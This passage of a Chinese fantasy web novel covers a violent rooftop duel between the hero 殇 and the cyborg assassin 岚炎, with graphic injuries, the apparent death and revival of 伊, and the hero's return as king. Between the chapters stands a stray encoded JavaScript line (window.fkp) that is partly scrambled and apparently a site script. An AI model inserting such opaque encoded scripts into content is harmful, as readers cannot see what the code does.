“(阴笑)诶呦,生气啦。那么,就开始说正事吧。殇,你现在是我们的眼中钉,比起你一直守护的光之种子,你才是我们最大的威胁,没有之一。由于您那乖女儿一直默默保护着你,我们三个暂时没办法动你。但不代表我们就弄不死你。——道路千万条,总有至末路。今天,就让这世界上最顶尖的收尾人(最高等级的杀手)团队中的红色收尾人岚炎来处理你吧......也顺带让我们开开眼界,看看你到底有没有传说之中那样厉害。” 殇: “(咬牙切齿)赤裸裸的挑衅,一群狂妄的家伙。” 艾芙琳: “(严肃)红色收尾人,准备工作。” 岚炎: “(电子音)还有什么附加条件吗?” 艾芙琳: “(阴笑)谁要帮他,就把谁杀了。场地随便破坏,不要伤到我可爱的艾芙琳哦。” 岚炎: “(电子音)明白,准备执行任务。” 岚炎铠甲上涌现出许多红色光条,这些光条发着诡异的光芒,一种如面对千百之军的压迫感袭来。能量的充能声与机械的低鸣声回荡在周围空间之中,一股强大的能量涌动在周围的空间之中。顿时周围地面上的尘屑都飘了起来,黑雾升起笼罩了周围,宛如进入了黑夜。许多道红色的闪电在他的盔甲上跃动,宛如天空中的雷云。面对这种压迫感,殇丝毫没有害怕,只是有些紧张,因为他很久没遇到像这样强大的敌人了。岚炎伸平右手,慢慢握拳,这时嗡嗡的风扇声与气体喷出声出现在他的背部,他胸口处的核心发出了耀眼的红色光芒,他小臂盔甲上的隐藏战斗装置凸了出来,这个装置也发着耀眼的红色光芒。之后他缓缓放下手臂,突然,握拳将手臂移到了自己身体的左边,然后用力往右把手一甩,周围的黑雾笼罩褪去了。殇瞪着岚炎,岚炎也似乎瞪着他,两人静静地站在原地相互审视着对方。周围的空气一下子就凝固住了,见到这等架势,艾芙琳赶忙躲到一边静静看戏。 岚炎: “(标准的普通话发音)殇先生,久闻您的大名,很荣幸今天与你相会。但很可惜,这是我们最后一次相会了。请不要怪我,我是个无情的杀手,我只是收钱办事而已。” 殇: “(轻蔑中带有一丝理解)吼,工具人一个。现在的人都像你这样,都是有钱或有权之人的工具。我不会怪你,哪个男人还没有点难言之隐呢?” 岚炎: “(标准的普通话发音)哦?对敌人还用如此吗?” 殇: “(坦然)敌人终究是人,人与人之间的理解是互相的。更何况,你还没动手,那么我们现在还不是敌人呢。” 岚炎: “(电子音)呵呵呵呵.......您可真有意思啊,怪不得您在当初能迷倒一片人。” 殇: “(严肃)那就闲话少说了,你也该办你改办的事了,我也该办我该办的事了。” 岚炎和殇瞬间做好架势,一个冲刺冲向了对方,两人的速度极其之快,两人的身影模糊不清,在身后还有着残影。在电光火石之间,两人的拳头相撞了,强大的冲击波震碎了两人脚下的地面,激起一片尘土。两道闪光擦肩而过,两人互换了起始的位置。在一旁准备加入的战斗的小咒刀傻眼了,它刚刚还在想怎么协助殇战斗,战斗就已经开始了。 小咒刀: “(惊讶)这么快?!” 殇的拳头在刚刚的那一拳后变形了,拳头上面有着鲜血。岚炎的拳头变化不大,只是凹下去了一块。这着实惊住了岚炎,至今没人能在跟他对拳后能损伤他的拳头的,殇就是做到此事的第一个人。岚炎和殇转身看着对方,在不到半秒的对视之后,岚炎激活了手臂上的战斗装置,他的手臂上出现了锋利的长爪,爪锋发着瘆人的红色光芒,宛如被鲜血染红了一样。见到岚炎如此,殇立马汇聚体内的核心能量,准备与岚炎拼一拼。 殇: “激活!E协议!生成Emw-96,绿野仙踪。” 殇的手中出现了一把弩,这把弩不需要弩箭,需要的仅是核心能量,它是一把用核心能量进行攻击的能量连弩。岚炎连续左右瞬移冲向了殇,殇见此预判岚炎的位置以极快地速度扣动扳机发射五十多只箭,岚炎见此直接跳跃瞬移侧闪加滑铲全部躲开。殇见此瞬间生成Emw-10,他拿起这把大锤对着凑近自己的岚炎一锤砸了过去,岚炎一个侧闪躲开,殇瞬间做出反应,一个转身加转动手中的锤柄改变锤头方向,一锤子挥向了岚炎,岚炎一个格挡挡下了这一锤。殇再次转动身体,又一锤子挥了过去,岚炎一个后撤躲开,殇抓准这个时机,一个健步一跃而起用手中的大锤砸向岚炎,岚炎见此一个侧身瞬移到殇的背后。殇差距到这点,他松开手中的大锤,变出黑死神的镰刀猛地一转身砍向了岚炎,岚炎一把抓住镰刀柄,然后直接把殇的镰刀丢了出去。殇见此变出海神的三叉戟刚想刺他,没想到岚炎瞬间一把抓住了他的脖子,接着岚炎压低身体,一个冲刺冲向面前的停机坪基座,他直接把殇重重地砸在了这个基座上,顿时间整个基座被砸出来一个大坑,整座大楼都颤抖了一下。殇被砸得眼冒金星,险些晕了过去,他的意志很坚强,即便这样他的眼睛也死死地盯着岚炎的位置。 在一旁看戏的艾芙琳不得不躲到了伊的位置,她看了看伊,她发现伊的眼睛微微睁着,她并没有晕过去,而是清醒着。在伊旁边的流光蝶影看到艾芙琳后刚想汇聚核心能量发动攻击,只见艾芙琳一把把她抓了过去,艾芙琳在张开手像观察新物种一样观察流光蝶影。流光蝶影看着艾芙琳的眼睛,她能看出艾芙琳的眼神之中有着纯纯的好奇与生活的沧桑。 艾芙琳: “(惊喜)哇......哇哦。没想到这世界上还真有童话中的小精灵啊!她好可爱啊!该死的,我的少女心都犯了。” 流光蝶影心里: “她好像没有什么恶意,她看起来不像是要伤害伊。那她就是朋友了!没错,是朋友!” 这时,从艾芙琳的脑中传出了上司的说话声。 弗: “(高兴)这小家伙还挺可爱呢。真想家里能养一只啊。” 寰: “(有些生气)艾芙琳!工作的时候注意力别放在无关紧要的东西上,虽然她是个可爱的小家伙,但这不是你上班偷懒的理由。给我盯着殇和红色收尾人!别忘了你的工作是记录,是让我们亲眼看到现场!” 艾芙琳: “(瞬间严肃)知道了,管理员大人。” 艾芙琳并没有把流光蝶影扔出去,而是把她放在了自己的肩上,然后就转头继续盯着殇和岚炎去了。流光蝶影坐在艾芙琳的肩上,她感觉到了来自艾芙琳灵魂深处的友善。 岚炎用力一拳打向殇的头部,殇一斜头躲开了这一拳。岚炎的这一拳的目的不是直接杀了殇,而是借助这一拳的反作用力把自己往后击退一段距离。岚炎以极快地速度与殇拉开了距离,然后他右臂的爪子变成了一把巨大的臂刃。岚炎高举右臂,做好了挥出下一刀的准备。 岚炎: “(电子音)激活!w协议!” 岚炎右臂上的臂刃瞬间幻化成了足足有原来五倍大的幻影臂刃,幻影臂刃是红色透明的,而且发着瘆人的红光,红光染红了周围的空间,染红了地面与天空。好几道闪电在幻影臂刃上跃动,仿佛雷神的力量汇聚在这把臂刃上,看起来压迫感十足。 岚炎: “(电子音)Red power·血腥收割!” 岚炎压低身体一个健步冲向了殇,殇见此有点慌张,但很快,他就冷静了下来。就在他想策略的时候,他发现小咒刀飞向了自己,这是个机会。电光火石之间,殇一个健步前冲,同时抓住小咒刀的剑柄,然后他将小咒刀挡在了身前。岚炎掐准时机用力一刀挥出,岚炎的这一刀产生了音爆,震耳欲聋的声音响彻在周围。殇直接被这一刀击飞了出去,他再次砸在了之前的基座上,撞击激起了周围的尘土,这些尘土形成了一团烟,殇就在这烟其中。强大的冲击波直接将整个基座震碎出了许多条裂缝,整座大楼都颤动了一下,这下比之前那下要强许多。到此,还没完。岚炎没有给殇喘气的机会,他右臂上的幻影臂刃还存在,而且已经刚刚完成了能量的汇聚。 岚炎: “(电子音)Red power·削除!” 岚炎对着殇用力挥出一刀,这一刀汇聚了岚炎幻影臂刃上全部的能量,这些能量转换成了一道巨大的红色剑气。顿时这道巨大的剑气以极快地速度飞向了殇,这道剑气上涌动着许多道闪电,看起来气势十足。这道剑气宛如一头势不可挡的巨兽,气势冲冲地冲向了殇。殇见此没有一点慌张,他将小咒刀横在身前,迎面接下了这一击。殇周围的地面出现了许多道裂缝,强大的冲击波使他身后的基座变成了一堆碎石,周围的地面塌陷下去了一大块,无数的碎石被震得飞了起来。冲击波激起的烟尘形成了一片烟雾,烟雾之中的殇生死未卜。见到这等场景,岚炎认定殇已经死了,但是为了排除潜在的危险,他必须死死地盯着眼前的烟雾,直到烟雾散去见到殇的尸体。远处的艾芙琳见到此等景象,她的脸上露出了一丝笑意,但很快她脸上的笑意就消失了。 岚炎: “(电子音)结束了,结束了?想不到传说之中的殇......” 殇: “小子,你说你妈呢!” 这时,殇突然出现在了岚炎的身后,他身上毫发无损,只是多了些尘土,看来刚刚的攻击被小咒刀完全抵消掉了。殇变出海神的三叉戟对着岚炎背后的六个风扇中的其中一个刺了过去,岚炎躲避不及时,被殇的三叉戟刺中了,但是好在他的盔甲比较结实,殇的这一下只是摧毁了他的一个风扇,并没有伤及内部零件。岚炎转身对着殇挥出了一刀,殇将三叉戟横在身前挡下了这一刀,岚炎以极快地速度用另一只手臂上爪子挑飞了殇手中的三叉戟,然后又是一刀挥了过去。殇一跃而起躲开了这一刀,他跳到了岚炎的头上四五米处,他的双手涌动着金色的雷电。 殇: “激活,E协议。生成Emw-68,帝王之意。” 殇的手中生成了一把黄黑相间的骑枪,他双手握住这把骑枪,他高举双手,做好架势,一个落地猛冲把手中的骑枪垂直刺向了岚炎。岚炎瞬间做出反应一个后撤躲开了这一下,在殇没击中岚炎反而击中地面后,周围的地面瞬间出现了一个大坑,大坑周围有着许多裂缝。突然,大坑周围的裂缝突然变大了,楼顶快支持不了多久了。殇和岚炎对视了半秒,然后战斗便继续了。岚炎下压身体,他将臂刃的刀锋插进地面,接着汇聚能量,他的臂刃上再次出现了跃动的红色闪电。岚炎一个冲刺冲向了殇,殇见此变出Emw-124(薄溟),快速拉弦十三次,对着岚炎连续发射了六十五根光之箭。岚炎并没有闪躲,他迎着箭雨向前冲刺,他用另一只手臂抵挡部分箭矢,防止箭矢伤害到他的面部。这些箭的威力很大,每只箭都让岚炎坚硬的盔甲出现了破损。在射完这六十五根箭后,殇变出黑死神的镰刀,他一个冲刺冲向了岚炎,在一旁的小咒刀一个回旋飞向了岚炎,它要与殇来个两面夹击。岚炎用左手弹飞了飞来的小咒刀,防止它碍事。 岚炎: “(电子音)Red power·血色壁垒!” 他掐准时机在殇进入攻击范围的一瞬间停下脚步,他汇聚全部能量于自己的臂刃殇,然后他将自己的右臂往上用力一甩。一道血红色的能量墙直接拔地而起,殇没时间反应,直接被这堵墙轰飞了出去。岚炎抓住这个机会,一个健步一跃而起来到了在半空中的殇的上方。他握紧高举左臂,用力挥了过去,殇见此直接将小咒刀召唤到了自己手中,接着用小咒刀挡下了这一击。在接下这一击后,殇重重地砸在了地上。岚炎不会放过任何一个机会,他一个落地猛冲直接砸在了殇的身上。殇虽然及时生成了核心能量护盾,但是由于岚炎的攻击力过高,护盾没有挡下全部的伤害。岚炎从殇的身体上走下,他检查了一下殇的情况,看看目标有没有被杀死。就在这个时候,殇抓住一旁的小咒刀对着岚炎砍了过去,此时的殇的肉体濒临坏灭,他的速度慢了许多。岚炎夺过殇手中的小咒刀,他直接将小咒刀刺进了殇的双眼之中,顿时一阵难以忍受的痛苦袭来,殇的眼前一黑,深陷痛苦的深渊。 伊: “(激动)住手!不要伤害他!” 这时伊的酒劲几乎完全消失了,她重新站了起来。见到岚炎这么伤害殇,她忍受不了岚炎的所作所为。在处决殇的岚炎看向了伊,伊的这个行为在他眼里完全就是找死,但伊不是任务之中的目标,所以他无视了伊。伊刚想上前去拦岚炎,艾芙琳拦住了她。 艾芙琳: “(冷酷无情)伊,别这么做。你上去只是送死!” 伊: “(激动)不!我必须做些什么!不然他会杀了殇的,他会摧毁殇的核心的!” 艾芙琳: “(好奇)你怎么这个确定?” 伊: “(严肃)我见过他杀人,先杀人再毁掉核心是他们这类人的原则!” 这时岚炎一把将殇的心脏从他的胸膛之中拽了出来,然后岚炎捏碎了殇的心脏。殇伸出手想要阻止岚炎,可是他眼中只有黑暗,他连岚炎在哪里都不知道。伊见此直接推开了艾芙琳的手臂,她不顾危险地冲向了岚炎。她拉住了岚炎的手臂,想要阻止他。但是一个高级城市出身的小姑娘的力气怎么可能比得过岚炎这种高级杀手,岚炎的手臂轻轻一甩,就把伊甩倒在了一旁。 岚炎: “(电子音)伊,别来碍事。不然别怪我先处理你。” 殇: “(颤抖的声音)伊,别管闲事!你快跑,我有逃跑的办法!” 伊: “(意志坚定)不!你休想骗我!你的核心一旦被摧毁,你就彻底死了!我不会让他那么做的。我能给你争取时间,那怕一秒也好!” 伊顽强地站了起来,她拿起一旁掉在地上的黑死神镰刀,她很勇敢地对岚炎摆出了架势。岚炎见此摇了摇头,他站了起来,漫步走向伊。 伊: “(意志坚定)我绝对不会让你伤害我的朋友的!” 岚炎没说话,他一个瞬移来到了伊面前,他一把抓住伊的脖子,把她拎了起来。在这种情况下,伊没有选择挣扎,而是用手中的镰刀去攻击他,但是伊这点攻击对他来说就跟挠痒一样,岚炎完全无视了伊的攻击。 殇: “(嘶吼声)别动她!我告诉你,别他妈动她!” 岚炎无视了殇的声音,他觉得没必要理会一个将死之人的话。 岚炎: “(电子音)看来,得先处理你了。” 岚炎身体微微向后倾斜,接着他一把把伊扔了出去。在岚炎的注视下,伊从楼顶坠了下去。这次没有熟悉的惨叫声,只有瘆人的寂静。在半空中,伊流下了不甘与不舍的泪水,她的脸上没有对死亡的惊恐,只有淡淡的微笑。 伊心里: “也许这就是结局了。很荒诞,也很戏剧。感谢你,殇。是你让我明白了什么才叫做真正的爱,是你弥补了我空缺的那一部分。认识你很高兴,愿我们能够在天堂相见。我还想吃你做的饭,我还想挨你的骂,我还想让你叫我一声菜鸟。如果有来生......” 伊闭上了眼睛,静静等待结局的到来。这时,伊身上带着的护符发出了光芒,强大的能量在运转。突然,那两个护符从伊的口袋之中飞出。两个护符在空中以一个中心点开始旋转,旋转的速度越来越快,两个护符越靠越近。就在伊即将砸在地面上的一瞬间,两个护符合二为一了。 “阴中有阳,阳中有阴。此世无纯之色,也无纯善与恶。善恶本相对,但各其蕴含对方。太极轮转,阴阳融合。” 在伊即将砸在地面上的时候,伊短暂的一生中的景象在她眼前快速地浮现了一遍,权衡是非的天平出现在她的眼前。天平是平衡的,并没有偏向某一边。 在伊砸在地面上的一瞬间,许多片水仙花花瓣出现在伊的身边,这些花瓣在空中飞舞着,好像天空中的天使。本该粉身碎骨的伊什么事都没有,她安然无恙地躺在地上。生与死的界限在这一刻被打破了!伊达到了生死共存,她超越了生与死的高墙! “超越生死!” 太极护符的力量抵消了死亡,让本该死去的伊活了过来。无数的水仙花花瓣飘散在伊的身旁,是送走死者的使者,也是迎接新生的使者。太极护符在这之后化成了两个光球,一黑一白,这两个光球飞进了伊的身体里,成为了伊身体的一部分。微风拂过伊的脸庞,伊的眼角流着两行热泪。风吹起了她的长发,她就静静地躺在地上。 ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第十三话:你们的王,回来了 听闻到伊的离去,殇的心里十分痛苦,他又失去了一个珍视的人。他已经失去了许多,自己真正的肉体、曾经繁荣的王国、自己身为王的尊严、曾经的朋友......他还剩什么呢?自己曾经疼爱的女儿,以及最后男人的倔强是他仅有的东西了。女儿也大了,也离开自己了。最后剩下的朋友伊,也为了自己这个混蛋而离去了,他剩下的只有男人最后的倔强了。 他双目之中只有无尽的黑暗,没有未来的曙光。就在这时,一只巨大的眼睛出现在他的眼前,这只巨大的眼睛是诅咒之刃上的眼睛。这只眼睛看着面前的痛苦着的殇,他的眼神之中满是对殇的信任与期待。望着这只眼睛,殇不知道说什么好。失去了肉体的他一无所有,没有原来的肉体,他就没办法想之前一样强。肌肉记忆只不过是他实力的冰山一角,他真正的实力还封存在王座之间。现在的他已经孤立无援了,能陪着他的只有诅咒之刃了。 殇: “诅咒之刃。你说,现在该怎么办呢?伊走了,我也快死了,很快你又要成孤家寡剑了。” 诅咒之刃: “主人!你说什么呢?别放弃啊,你可是国王啊。你还不能倒下啊!” 殇: “那都是过去的事了,我现在失去了肉体,就如同鱼儿失去了水。” 诅咒之刃: “主人!你不能这样想!别忘了,你可是无所不能的殇!你是我们所有人的偶像,你是曾经打退了殖民者的英雄!” 殇: “我现在又能做什么呢?我的肉体即将坏灭,除了等死,我什么也做不了。英雄英雄,你们都知道我是英雄,但英雄不是万能的,他也有老了累了的时候。到时候,英雄也就成了懦夫。真他妈操蛋,这种感觉真他妈操蛋!” 诅咒之刃: “殇!你他妈给我振作一点!你还记得你为什么给伊做那个蛋糕吗?!你知道伊心里怎么想你吗?!她为了那个你而死你不知道吗?!在我们眼里,你就是那个最强的男人,你就是我们的守护神!无可替代的!你要是现在放弃了,你对得起你女儿肃清者和我们的期待吗?!你对得起那些信任你的人吗?!” 殇: “可我真的累了,而且我也要死了。胜利的可能几乎没有,我的大脑都被刺穿了!我连最基本站起来都做不到,我该怎么战胜他?” 诅咒之刃: “几乎没有,就代表有成功的可能性!你能做到的,我相信你!” 殇沉默了一会,他回想起了因为自己死去的女儿,他的心中很愧疚。回想起了自己的一生的种种美好与糟糕的回忆,他着实是个无可救药的混蛋。回想起了与伊的种种回忆,他意识深处的人性还存在。回想起了曾经站在王座之上俯视王国每一寸领土的他,他是曾经那个无上的帝王。 殇: “如果我再一次拿起咒刀,我还能再做回一次国王吗?” 诅咒之刃: “如果你要使用我,那就要惹怒众神!你会死得更快的!你有这个觉悟吗?殇。” 殇: “神?神他妈的算个什么东西!老子又不是第一次干亵渎神明的事了。我他妈敢在雷雨天跟老天对着干!我他妈敢对上帝竖中指!我敢把各个神话里的神骂个遍,要是能碰着他们,老子甚至敢杀了他们。” 诅咒之刃: “我明白了.......恭迎国王归来。” 殇激活了自己的核心,他将核心切换到了超频模式,并将超频幅度提升到最大。这意味着他即将发生核心暴走或者核心熔毁,这样做无异于是自杀,但是对于他来说,死亡他早就习惯了。 殇: “国王殇,今天借你的力量一用。如果有机会,我再还你。” 国王殇: “呵,得了吧。我最了解我自己,借了的东西,几乎不还。” 殇: “准备好重回历史舞台了吗?老东西?” 国王殇: “准备好了,就看你的核心能不能承受得住我吧。” 殇: “既然都是死,那就让死亡来的更猛烈些吧!” 突然,殇的身体上开始涌动着红色的雷电,强大能量在殇周围的空间之中涌动着。岚炎见此本能地后退了一步,他隐隐感觉到殇似乎要复活了,但那对于他来说几乎不可能,因为他已经粉碎了殇的心脏。殇缓缓站了起来,他用颤抖着的手拔出了插在眼中的诅咒之刃。 殇: “E协议!突变连接!” 在一道耀眼的光芒过后,殇的身上出现了一套曾经在战场上穿着的魔影战甲,战甲上的光泽从未褪去,红黑配色的炫酷仍不过时。他的身后有着红色的破旧披风,披风在他的背后飘动着,当年的霸气仍然存在。狂风在此刻开始呼啸,他就静静地站在风中。当年那个英雄的身影重新出现在岚炎他们眼前,样子一点都没变。曾经那个王,回来了。 殇: “(霸气)你们的王,回来了。” 殇握紧手中的诅咒之刃,深吸了一口气。他知道,接下来只要被碰到一下,他就会命丧于此。接下来,他要赌上自己的尊严与生命,他要让伤害他所珍视之人的人付出代价。他的一腔热血从未改变!既然是英雄,那就英雄到死。既然是混蛋,那就混蛋到底。 核心: “警告,核心控制......控制程序出现错误!核心能量超出控制范围!该核心暴走为六级暴走!请非战斗人员立即撤离!请出动红龙或者猎魂鲨部队人员前来镇压!” 岚炎: “(电子音)六级暴走?再来一级就熔毁了!这家伙看来是要跟我拼命了。” 艾芙琳: “(恐惧)是.......是他!是他!曾经的英雄回来了!” 三个管理员: “(惊讶)什么?!” 岚炎: “(电子音)这一仗,可不好打了。” 殇用诅咒之刃指着岚炎,那种王的霸气让岚炎感到了一丝不妙。殇手中的诅咒之刃的刀锋和中间的眼睛发着耀眼的红光,强大的能量涌动在刀锋之上,诅咒之刃已经饥渴难耐了,它随时准备开始猎杀时刻。 殇: “(霸气)孩子,你要为你的狂妄买单。没人可以践踏我的尊严!没人可以杀了她而全身而退!真正的战斗,现在才刚刚开始。” 殇把手中的诅咒之刃扔了出去,然后快速下压身体一个冲刺冲向了岚炎。岚炎见此出于尊重,也下压身体用同样的姿势冲向了殇。两人的速度达到了比之前要快上许多,肉眼连残影都很难看清了。殇和岚炎的拳头碰上了,在那个瞬间,周围的地面直接被震出了如蜘蛛网一样的裂缝,裂缝的尽头一路延伸到艾芙琳脚下。整座大楼颤抖了一下,这下比之前的两下加起来还要强。两人拳头对撞后,两人在反作用力的作用下连续后退到了出拳前的位置。殇的拳头只是出了点血,而岚炎的拳头内部的触感连接线直接断开了,他的整个拳头都变形了。 岚炎装甲内的系统: “(电子音)警告!手部连接丢失!原因分析中.......疑似外力致使的损伤,撞击等级为八级。请立即寻找义体大夫进行维修。” 岚炎: “(电子音)看来低估你了。既然如此,我也要拼尽全力了。” 岚炎的身后出现了一双血红色的边缘流着血的巨大双眼,这双眼睛的眼神中有着无尽的杀意。这双眼睛静静地悬浮在岚炎的背后,它就死死地盯着殇,试图给殇造成恐惧与压力。但现在的殇无所畏惧,不会惧怕任何一个人,就算是神来了,他也不带怕的。岚炎的双臂之上出现了红色幻影爪子,看起来他要展开一轮猛攻了。他的身上每块铠甲都进入了松弛状态,在铠甲相互连接的地方,有着发着红光的灯条,岚炎现在看起来比之前更加帅气了。岚炎下压身体,做好冲刺的准备。他背后的风扇加速运转,嗡嗡声比之前更响了。殇下压身体,也做好了冲刺的准备。两人相互对视了半秒,几乎是在同时,两人都以极快地速度冲向了对方。岚炎算准距离,对着手无寸铁的殇连续挥砍了两下,殇一个健步一跃而起一个前空翻躲开。就在这时,小咒刀一个回旋冲向了岚炎,岚炎一爪子把小咒刀打飞了出去,接住岚炎的攻击,小咒刀一个回旋回到了殇的手上。殇前空翻落地后,殇正好背对岚炎。殇与岚炎几乎同时转身,殇在这个时候用手中的小咒刀一刀砍了过去,岚炎顺势用爪子格挡,叮的一声,岚炎的幻影爪子竟然被小咒刀切断了。岚炎见此很是震惊,但他并没有在战斗中思考此事,他很快用另一爪子还击,殇见此没时间再次使用小咒刀挥砍,于是殇一个后撤步躲开了这一下。岚炎一个冲刺来到殇的面前,他对着殇以极高的频率连续攻击,这种攻击足以把一个强大的人撕成碎片,但这招对于殇来说,这招没有用。殇连续挥动小咒刀,几乎保持与岚炎一样的攻击频率去格挡他的攻击。随即殇慢慢加快频率,在一个恰当时机,殇一个上挑砍砍向岚炎,岚炎见此一个后撤步躲开,在岚炎后撤的同时,殇也一个后撤与岚炎拉开了距离。殇将核心能量汇聚在刀锋之上,咒刃之上跃动着金色的雷电。岚炎见此,立即汇聚能量,他将能量转移到了爪子上,红色幻影爪子变大了一倍,红色雷电在幻影爪子上跳动,看样子丝毫不逊色于殇的咒刃。 岚炎: “Red power·狩猎时刻!” 岚炎下压身体,一个冲刺化作红色闪电冲向了殇。此刻,殇的背后出现了四把由金色雷电形成的诅咒之刃,这四把剑排成了正方形的方阵,剑锋即为边角。这四把剑悬浮在殇的身后,紧紧地跟着殇。金色的光辉照耀着周围,帝王的气息弥漫在周围。 殇: “隼·穹顶之刃!” 殇做好架势,一个冲刺化作金色闪电冲向了岚炎。两道闪电以极快的速度相互靠近,由于两者的强大气场,沿路的碎石块都被吸引了起来。在两道闪电接触的一瞬间,一道耀眼的光芒出现,紧接着这道光芒开始快速闪烁。殇用手中诅咒之刃配合着身后的诅咒之刃连续攻击岚炎,岚炎用自己的双爪连续殇,两人的攻击频率达到了惊人的一致。但很快,岚炎就发现自己的能量消耗速度在以极快的速度消耗,消耗的速度一直在提升。就在这个时候,殇使用了一记威力巨大的横扫,岚炎双臂使用双臂格挡,他被这一下击退出去四五米,从此刻开始,他应对战斗有些力不从心了。快速的能源消耗使得他的核心几乎供给不上能源,而且内部动能驱动装置的温度超越了可控范围,再这样下去,他要么死在殇手上,要么死在内部的能源耗尽或者部件熔毁。接下来的战斗,对于岚炎来说是极为不利的。但是为了杀手联盟的荣誉,为了这次任务完成后高昂的赏金,为了自己一直资助的那些孤儿们,他必须战斗下去。 岚炎: “(电子音)战斗.......还要继续!” 岚炎的双臂上的爪子缩了回去,取而代之的是威力巨大的臂刃。岚炎汇聚能量,巨大的红色幻影臂刃重新出现在他的手臂上,而且这次是两个手臂都有。岚炎背后的风扇声开始有些刺耳,他体内的电流正在快速流动,就如他曾拥有过的一腔热血。岚炎背后的双眼更加犀利了,他身上的所有发光设备发出的光更加耀眼了。 岚炎: “激活!w协议!杀戮模式......启动!” 岚炎以极快地速度完成了能量的汇聚,他做好姿势,一个瞬移来到了殇的面前。岚炎此刻如同一头饥饿的猛兽,他的全身都涌动着如同巨兽一般的力量。岚炎对着殇一个横扫挥了过去,殇见此用小咒刀一个格挡挡下了这一下,殇被击退得往后退了几米,很快岚炎追了上来又是一个横扫,殇再次往后退了几米。就这样,殇一直格挡一直后退,岚炎一直攻击穷追不舍。岚炎的每次攻击都使得诅咒之刃的眼睛更加犀利,眼神之中的光辉越来越耀眼。在殇快被击退到楼顶边缘的时候,长久以来诅咒之刃吸收的所有攻击伤害都可以在此刻一起释放了。在岚炎对着即将被击退到楼下的殇使用最后一次横扫时,殇竟然从他的眼前消失了。此时此刻,洞察者已经发动,为的就是在这个时候彻底一次性解决岚炎。殇身后的诅咒之刃全部汇聚在他手中的诅咒之刃上,顿时小咒刀变成了一把刀锋由金色闪电组成的长剑。殇将诅咒之刃扔向空中,紧接着冲到岚炎面前连续几脚把岚炎踹到了楼顶的中央。岚炎试着反击,但是眼前的殇的速度实在是太快了,他的视觉捕捉系统完全没办法捕捉得到殇的身影,除非殇静止在原地不动。 殇: “仙剑术·白莲剑雨!” 在岚炎来到楼顶中央的时候,洞察者的能力解除了。此刻,天空中有二十多把由金色闪电化成诅咒之刃悬浮在空中,每把诅咒之刃的刀锋都对准了岚炎。岚炎想要躲开,但是他刚动了一下,这二十多把诅咒之刃全部以极快的速度飞向了岚炎。岚炎连续几个横扫斩碎了这些诅咒之刃,在这些诅咒之刃的碎片都落到地上时,岚炎才发现殇不见了。他看了看周围,都没有发现殇的身影。殇此刻在半空中握着诅咒之刃准备给予岚炎致命一击,诅咒之刃的剑锋已经对准了岚炎。 殇: “隼·审判之剑!” 殇一个落地猛冲把手中的诅咒之刃刺向了岚炎,刀锋之上的闪电让殇的下坠宛如天雷劈下,看起来帅极了。岚炎的模块检测到了危险,他一个后撤步躲开了这致命的一剑。周围的地面直接被这一剑刺出了一个大洞,顿时间碎石横飞,尘土飞扬,整座大楼都连续颤动了几下。刚刚发生的一切统统都发生在三秒之内。岚炎因为躲避不及,和殇一同来到了楼下的房间之中。没等因这一剑产生的烟雾褪去,殇一个健步从雾中冲出,他手中的诅咒之刃插进了地面,看样子是要用岚炎之前的攻击方式。岚炎见此将臂刃插在地面上,迎面冲向了殇。 岚炎: “Red power·血色壁垒!” 殇: “隼·震地冲击!” 两人几乎同时出手!一道血红色的能量墙和一道金色的能量墙拔地而起,两道墙撞在了一起,随即发生了猛烈的爆炸。猛烈的爆炸让周围的墙面全部倒塌,各种家具直接被轰飞了出去,所有靠近楼顶楼层的玻璃全部被震成了碎块。在爆炸之后留下了一片烟雾,突然,金色的波纹状地震波穿过烟雾袭向岚炎,岚炎躲避不及,被地震波震到了半空中去。这时,殇一个健步冲到岚炎下方,然后他压低身体做好架势,一个健步一跃而起来到了岚炎上方。殇高举手中的诅咒之刃,对着岚炎狠狠劈了下去,岚炎交叉双臂挡下了这一剑,随后他在接下这一剑之后以极快地速度砸在了地面上。殇将手中的诅咒之刃扔向了地面,然后他高举右拳,强大的核心能量顺着他的手臂涌进了他的拳头之中,奇异的光芒照亮了周围。 殇: “粉碎之拳·开山!” 殇在空中加速下落,他做好架势,拳头对准地面上的岚炎。然后,殇一记开山拳打在了岚炎的身上,岚炎见此交叉双臂抵挡这次攻击。在拳头击中岚炎的瞬间,周围的地面直接被粉碎成无数的碎块,连同楼顶的地面也都一起变成了碎块,强大的冲击波震碎了周围的墙体、震塌了楼内所有的电梯井、致使整栋大楼摇晃了一下。这一拳头连续打穿了三个楼层的地面,直接把岚炎打到了楼下二层,岚炎给这层地面砸出了一个坑,险些给这层的地板砸穿了。楼顶的大洞一直通到殇他们所在的这层,这一拳激起了无数尘土与碎石,尘土形成了烟雾,碎石形成了小规模的碎石雨。在烟雾褪去后,在碎石不再下落后,岚炎的身影从这个坑之中出现。刚刚的那一拳是他这一生能感受到的最强的力量,这种力量甚至超过了小口径舰炮的炮弹。此刻的岚炎内部多处受损,各种义体部件都收到不同程度的损伤,他的核心已经处于中度损坏濒临毁灭的状态,他的左臂直接断掉了。这是他成为顶级杀手以来受过的最严重的伤。 岚炎: “(扭曲的电子音)真是奇迹啊,肉身之躯竟能达到如此之大的破坏!不可思议......” 这时,殇拿着诅咒之刃出现在岚炎的前方。见到殇,岚炎并没有害怕,也没想放弃。他汇聚最后的能量,重新召唤出幻影臂刃。他摆好架势,对准了殇。他认为,即使失败了,也不能退缩,也要展现出自己的气概。 岚炎: “Red power·削除!” 岚炎对着殇用力挥出一刀,这一刀汇聚了他臂刃上全部的能量,这些能量化作了一道巨大的红色剑气。这道剑气以极快地速度飞向了殇,这道剑气上涌动着许多道闪电,看起来气势十足,但这道剑气的速度与其拥有的闪电数量早已经不如之前释放的那样快和多。殇将核心能量汇聚到诅咒之刃殇,然后对着岚炎的剑气用力挥出一刀,一道巨大的金色剑气以极快地速度飞向岚炎的剑气。两道剑气相撞后发生了剧烈的爆炸,周围的地面被炸出了一个小坑,小坑周围裂痕遍布。殇将核心能量汇聚在诅咒之刃上,诅咒之刃上涌动着金色的雷电。接着,殇一个健步化作闪电冲向了岚炎,岚炎见此想要还击,但是他剩余的能量已经无法被他调动了,如果要调动他最后的能量,他将因为核心坍缩直接死在这里。 殇: “处决!岚炎!” 